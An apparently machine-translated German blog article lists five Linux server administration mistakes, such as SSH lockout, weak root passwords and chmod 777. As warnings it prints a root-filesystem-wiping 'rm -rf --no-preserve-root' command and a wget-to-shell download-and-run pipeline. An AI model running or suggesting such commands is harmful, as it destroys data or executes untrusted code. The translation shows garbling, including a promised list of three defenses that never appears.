Linux-Befehle

Fünf Fehler bei der Linux-Server-Administration und wie man sie vermeidet

Fünf Fehler bei der Linux-Server-Administration und wie man sie vermeidet
Im Jahr 2017 wurde ein Mitarbeiter von GitLab, der Hosting-Plattform für Versionskontrolle, gebeten, eine Datenbank mit Produktionsdaten zu replizieren. Aufgrund eines Konfigurationsfehlers funktionierte die Replikation nicht wie erwartet, daher entschied sich der Mitarbeiter, die übertragenen Daten zu entfernen und es erneut zu versuchen. Er führte einen Befehl aus, um die unerwünschten Daten zu löschen, stellte jedoch mit wachsendem Entsetzen fest, dass er den Befehl in eine mit einem Produktionsserver verbundene SSH-Sitzung eingegeben hatte, wodurch Hunderte von Gigabyte an Benutzerdaten gelöscht wurden. Jeder erfahrene Systemadministrator kann Ihnen eine ähnliche Geschichte erzählen.

Die Linux-Befehlszeile gibt Serveradministratoren die Kontrolle über ihre Server und die darauf gespeicherten Daten, aber sie hält sie kaum davon ab, destruktive Befehle mit nicht rückgängig zu machenden Konsequenzen auszuführen. Das versehentliche Löschen von Daten ist nur ein Fehler, den neue Serveradministratoren machen.

Schlüssel innen sperren

Serveradministratoren verbinden sich mit Servern mit SSH, einem Dienst, der normalerweise auf Port 22 ausgeführt wird und eine Anmelde-Shell bereitstellt, über die authentifizierte Benutzer Befehle auf Remote-Servern ausführen können. Ein Standardschritt zur Härtung der Sicherheit besteht darin, SSH so zu konfigurieren, dass Verbindungen auf einem anderen Port akzeptiert werden. Das Verschieben von SSH auf einen zufälligen Port mit hoher Nummer begrenzt die Auswirkungen von Brute-Force-Angriffen. Hacker können keine böswilligen Logins versuchen, wenn sie den Port nicht finden können, auf dem SSH lauscht.

Ein Administrator, der SSH so konfiguriert, dass er auf einem anderen Port lauscht und dann den SSH-Server neu startet, stellt möglicherweise fest, dass nicht nur Hacker gesperrt sind. Wenn die Firewall des Servers nicht auch neu konfiguriert wird, um Verbindungen auf dem neuen Port zuzulassen, werden Verbindungsversuche niemals den SSH-Server erreichen. Der Administrator wird von seinem Server ausgesperrt, ohne dass das Problem behoben werden kann, außer ein Support-Ticket bei seinem Hosting-Provider zu eröffnen. Wenn Sie den SSH-Port ändern, müssen Sie den neuen Port in der Firewall-Konfiguration Ihres Servers öffnen'.

Ein leicht zu erratendes Passwort wählen

Brute-Force-Angriffe sind ein Ratespiel. Der Angreifer probiert viele Benutzernamen und Passwörter aus, bis er eine Kombination findet, die ihn hineinlässt. Ein Wörterbuchangriff ist ein raffinierterer Ansatz, der Listen von Passwörtern verwendet, die oft aus durchgesickerten Passwortdatenbanken entnommen werden. Angriffe gegen das Root-Konto sind einfacher als gegen andere Konten, da der Angreifer den Benutzernamen bereits kennt. Wenn ein Root-Konto ein einfaches Passwort hat, kann es im Handumdrehen gehackt werden.

Es gibt drei Möglichkeiten, sich sowohl gegen Brute-Force- als auch gegen Wörterbuchangriffe gegen das Root-Konto zu verteidigen.

Kopieren von Befehlen, die Sie nicht verstehen

Stack Exchange, Server Fault und ähnliche Sites sind eine Lebensader für neue Linux-Systemadministratoren, aber Sie sollten der Versuchung widerstehen, einen Shell-Befehl zu kopieren und einzufügen, den Sie nicht verstehen. Was ist der Unterschied zwischen diesen beiden Befehlen??

sudo rm -rf --no-preserve-root /mnt/mydrive/
sudo rm -rf --no-preserve-root /mnt/mydrive /

Es ist leicht zu erkennen, wenn sie zusammen angezeigt werden, aber nicht so einfach, wenn Sie in Foren nach einem Befehl zum Löschen des Inhalts eines bereitgestellten Volumes suchen delete. Der erste Befehl löscht alle Dateien auf dem gemounteten Laufwerk. Der zweite Befehl löscht diese Dateien und alles im Root-Dateisystem des Servers. Der einzige Unterschied ist das Leerzeichen vor dem letzten Schrägstrich.

Serveradministratoren können auf lange Befehle mit Pipelines stoßen, von denen gesagt wird, dass sie eine Sache tun, aber etwas ganz anderes tun. Seien Sie besonders vorsichtig mit Befehlen, die Code aus dem Internet herunterladen.

wget http://Beispiel.com/verybadscript -O - | Sch -

Dieser Befehl verwendet wget, um ein Skript herunterzuladen, das an die Shell geleitet und ausgeführt wird. Um dies sicher auszuführen, müssen Sie verstehen, was der Befehl tut und was das heruntergeladene Skript tut, einschließlich des Codes, den das heruntergeladene Skript selbst herunterladen kann.

Als root anmelden

Während normale Benutzer nur Dateien in ihrem Home-Ordner ändern können, gibt es wenig, was der Root-Benutzer auf einem Linux-Server nicht tun kann. Es kann jede Software ausführen, alle Daten lesen und jede Datei löschen.

Anwendungen, die vom Root-Benutzer ausgeführt werden, haben eine ähnliche Leistung. Es ist praktisch, als Root-Benutzer eingeloggt zu sein, weil Sie nicht die ganze Zeit „sudo“ oder „su“ müssen, aber es ist gefährlich. Ein Tippfehler könnte Ihren Server in Sekunden zerstören destroy. Fehlerhafte Software, die vom Root-Benutzer ausgeführt wird, könnte eine Katastrophe verursachen. Melden Sie sich für den täglichen Betrieb als normaler Benutzer an und erhöhen Sie die Root-Rechte nur bei Bedarf.

Dateisystemberechtigungen nicht lernen

Dateisystemberechtigungen können für neue Linux-Benutzer verwirrend und frustrierend sein. Eine Berechtigungszeichenfolge wie „drwxr-xr-x“ sieht auf den ersten Blick bedeutungslos aus, und Berechtigungen können Sie daran hindern, Dateien zu ändern und Software daran hindern, das zu tun, was Sie von ihr erwarten.

Systemadministratoren lernen schnell, dass chmod 777 eine magische Beschwörung ist, die die meisten dieser Probleme behebt, aber es ist eine schreckliche Idee. Damit kann jeder mit einem Konto die Datei lesen, schreiben und ausführen. Wenn Sie diesen Befehl im Verzeichnis eines Webservers ausführen, möchten Sie gehackt werden. Linux-Dateiberechtigungen sehen kompliziert aus, aber wenn Sie sich ein paar Minuten Zeit nehmen, um zu lernen, wie sie funktionieren, werden Sie ein logisches und flexibles System zur Steuerung des Dateizugriffs entdecken.

In einer Zeit, in der einfache Benutzererfahrungen wichtiger sind als alle anderen Faktoren, bleibt die Linux-Befehlszeile entschlossen komplex und resistent gegen Vereinfachungen. Du kannst dich nicht durchwühlen und hoffen, dass alles gut wird. Es wird nicht gut und du wirst eine Katastrophe in deinen Händen haben.

Aber wenn Sie die Grundlagen erlernen - Dateiberechtigungen, Befehlszeilentools und deren Optionen, bewährte Sicherheitspraktiken - können Sie ein Meister einer der leistungsstärksten Computerplattformen werden, die jemals entwickelt wurden.

Mit WinMouse können Sie die Mauszeigerbewegung auf einem Windows-PC anpassen und verbessern improve
Wenn Sie die Standardfunktionen Ihres Mauszeigers verbessern möchten, verwenden Sie Freeware WinMouse. Es fügt weitere Funktionen hinzu, damit Sie das...
Linker Mausklick funktioniert nicht unter Windows 10
Wenn Sie eine dedizierte Maus mit Ihrem Laptop oder Desktop-Computer verwenden, aber die linker Mausklick funktioniert nicht unter Windows 10/8/7 aus ...
Cursor springt oder bewegt sich zufällig während der Eingabe in Windows 10
Wenn Sie feststellen, dass Ihr Mauszeiger während der Eingabe auf einem Windows-Laptop oder -Computer automatisch und zufällig springt oder sich von s...